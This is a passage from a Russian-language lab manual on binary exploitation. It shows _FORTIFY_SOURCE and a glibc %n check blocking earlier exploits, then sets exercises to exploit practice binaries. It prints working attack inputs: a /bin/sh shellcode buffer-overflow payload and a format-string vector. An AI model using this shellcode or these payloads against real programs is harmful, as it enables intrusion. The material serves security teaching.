автора программы. Однако в некоторых случаях можно, следуя некоторым эвристическим правилам, обнаруживать и исправлять типовые ошибки, например, применение небезопасных функций (уязвимость в *overflow.c* появляется из-за использования небезопасной функции *strcpy*).

Компиляторы **gcc** и **clang** обладают реализациями подобных механизмов, для их использования при компиляции требуется определить переменную "*-D_FORTIFY_SOURCE=1*" ("*-D_FORTIFY_SOURCE=2*" для увеличенной стойкости). Также эта переменная устанавливается при включении оптимизаций кода – в случае компиляции с флагами "*-O1*" и "*-O2*".

В заключительный раз перекомпилируем программу *overflow.c* и попробуем исполнить наш экспloit:

```
x@vbox:~/lab3/examples$ gcc -g -m32 -fno-PIC overflow.c -O2 -o overflow_fort -no-pie
x@vbox:~/lab3/examples$ 
x@vbox:~/lab3/examples$ readelf -s overflow | grep strcpy
 4: 00000000      0 FUNC    GLOBAL DEFAULT  UND strcpy@GLIBC_2.0 (2)
 25: 00000000      0 FUNC    GLOBAL DEFAULT  UND strcpy@GLIBC_2.0
x@vbox:~/lab3/examples$ readelf -s overflow_fort | grep strcpy
 34: 00000000      0 FUNC    GLOBAL DEFAULT  UND __strcpy_chk@GLIBC_2.0 (2)
x@vbox:~/lab3/examples$ 
x@vbox:~/lab3/examples$ ./overflow_fort `python3 -c 'import sys;
sys.stdout.buffer.write(b"\x90"*24 +
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +
b"\x90"*31 + b"\x70\xd0\xff\xff")'` 
password_buffer is at address: 0xff9f1d3c
*** buffer overflow detected ***: terminated
Aborted (core dumped)
x@vbox:~/lab3/examples$
```

Как можно видеть в выводе утилиты **readelf**, скомпилированная с оптимизациями программа, в отличие от предыдущих вариантов компиляции, более не использует небезопасную функцию *strcpy*, хотя компилировался один и тот же исходный файл *overflow.c*.

Тем не менее, стоит заметить, что *-D_FORTIFY_SOURCE* не гарантирует успешной модификации всех небезопасных участков кода (впрочем, как и, возможно, любой другой метод защиты), и должен быть применён в комплексе – вместе с другими механизмами.

Форматная строка

Эта уязвимость достаточно легко обнаруживается компилятором (стандартное поведение **gcc** – вывести warning пользователю) и ещё проще закрывается: необходимо вместо непосредственной передачи строки в функцию использовать *printf* с форматной строкой:

```
printf("%s", username);
```

Данная модификация не осуществляется компилятором в автоматическом режиме – исправление ошибки вновь отдаётся на откуп программисту. При этом часто, особенно в больших проектах, конфигурация сборки предписывает трактовать любой warning от компилятора как ошибку и аварийно завершать процесс сборки.

В добавок к диагностике ошибки, в *glibc* версий старше 2.23 реализован дополнительный механизм защиты: в случае если адрес форматной строки попадает в секцию данных с выставленным флагом *w* (т.е. доступных на запись), обработка форматного спецификатора *%n* повлечёт аварийное завершение работы процесса [11].

Перекомпилируем *format.c* без флага *-g*:

```
x@vbox:~/lab3/examples$ gcc -m32 -z execstack -fno-PIC -fno-stack-protector -Wno-format-security format.c -o format_glibc_release -no-pie
x@vbox:~/lab3/examples$ ./format_glibc_release `python3 -c 'import sys; sys.stdout.buffer.write(b"\x2c\xc0\x04\x08"*250 + b"%08x.." * 290 + b"%x\n")'` `python3 -c 'import sys; sys.stdout.buffer.write(b"A"*100)'

#####
##### ff9df34b..00000040..f7f50000..41414141..41414141..41414141..41414141..
41414141..41414141..41414141..41414141..41414141..41414141..41414141..41414141
41..41414141..41414141..41414141..f7f114a0..f7f29f10..ff9ddf38..08049309..ff9de892..ff
9df34b..f7f11b10..00000001..00000001..ff9ddf50..f7f50020..f7c21519..ff9de87e..00000070
..f7f50000..f7c21519..00000003..ff9de004..ff9de014..ff9ddf70..f7e26000..080492ba..0000
0003..ff9de004..f7e26000..ff9de004..f7f4fb80..f7f50020..8bdea23c..3449a82c..00000000..
00000000..00000000..f7f4fb80..f7f50020..45e94f00..f7f50a40..f7c214a6..f7e26000..f7c215
f3..00000000..0804bf10..ff9de014..f7f50020..00000000..f7f2bf84..f7c2156d..0804c000..00
00003..08049090..00000000..080490bc..080492ba..00000003..ff9de004..00000000..00000000
..f7f1da90..ff9ddfbc..f7f50a40..0000003..ff9de87e..ff9de892..ff9df34b..00000000..ff9d
f3b0..ff9df3c0..ff9df41e..ff9df431..ff9df445..ff9df472..ff9df493..ff9df4aa..ff9df4d6..
ff9df4ed..ff9df50d..ff9df521..ff9df54a..ff9df55e..ff9df575..ff9df58d..ff9df5a9..ff9df5
cd..ff9df5d7..ff9df5f2..ff9df60b..ff9df621..ff9df657..ff9df664..ff9df66f..ff9df681..ff
9df696..ff9df6a7..ff9dfc96..ff9dfcb7..ff9dfcc8..ff9dfce2..ff9dfd38..ff9dfd4f..ff9dfd71
..ff9dfd88..ff9df9c..ff9dfdba..ff9dfdda..ff9dfde1..ff9dfdfc..ff9dfde09..ff9dfde11..ff9d
fe2a..ff9dfe3c..ff9dfe57..ff9dfe76..ff9dfe8a..ff9dfedf..ff9dff51..ff9dff63..ff9dff99..
ff9dffb0..ff9dffce..00000000..00000020..f7f17540..00000021..f7f17000..00000033..00000
f0..00000010..178fbfff..00000006..00001000..00000011..00000064..00000003..08048034..00
00004..00000020..00000005..0000000b..00000007..f7f19000..00000008..00000000..00000009
..08049090..0000000b..000003e8..0000000c..000003e8..0000000d..000003e8..0000000e..0000
03e8..00000017..00000000..00000019..ff9de1ab..0000001a..00000002..0000001f..ff9dffe4..
0000000f..ff9de1bb..00000000..00000000..00000000..00000000..c5000000..0145e94f..98e1d8
30..79bf4c0f..692eb113..00363836..00000000..00000000..00000000..00000000..00000000..00000000
..00000000..00000000..00000000..00000000..00000000..00000000..00000000..00000000..00000000
..00000000..00000000..00Segmentation fault (core dumped)
x@vbox:~/lab3/examples$
```

Как видно, теперь вектор не работает, хотя исходный код не изменился. Процесс завершился в момент обработки `%n` (попробуйте запустить в отладке и найти место, где порождается исключение).

Задания

1. Разобраться с экспloitами *auth.c*. Запустить, посмотреть из-под отладки (в особенности на состояние стека).
2. Проэксплуатировать бинарный файл *auth2* – добиться появления строки «Access granted».
3. Разобраться с экспloitами *overflow.c*. Запустить, посмотреть из-под отладки (в особенности на состояние стека).
4. Проэксплуатировать бинарный файл *overflow2* – добиться появления строки «Access granted».
5. Разобраться с экспloitами *format.c*. Запустить, посмотреть из-под отладки (в особенности на состояние стека).
6. Проэксплуатировать бинарный файл *format2* – добиться появления строки «Access granted».

Литература

1. <https://hex-rays.com/products/ida/support/freefiles/remotedbg.pdf>
2. https://en.wikipedia.org/wiki/Executable_space_protection
3. https://ru.wikipedia.org/wiki/NX_bit
4. https://en.wikipedia.org/wiki/Return-oriented_programming
5. <https://crypto.stanford.edu/~blynn/asm/rop.html>
6. https://en.wikipedia.org/wiki/Address_space_layout_randomization
7. https://en.wikipedia.org/wiki/Buffer_overflow_protection
8. https://wiki.osdev.org/Stack_Smashing_Protector
9. <https://www.pwnthebox.net/papers/2021/03/10/understanding-clang-safestack.html>
10. <https://clang.llvm.org/docs/SafeStack.html>
11. [glibc v.2.35: /stdio-common/vfprintf-internal.c](https://glibc.v2.35:/stdio-common/vfprintf-internal.c)
12. https://inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf
13. <https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/>
14. Эрикссон Д. Хакинг: искусство эксплойта. 2-е издание. Символ, 2010
15. Anley, Heasman, Lindner, Richarte. The Shellcoder's Handbook
16. Андрей Ковалев. Безопасность бинарных приложений
<https://www.youtube.com/watch?v=3JUaN3p4D6s>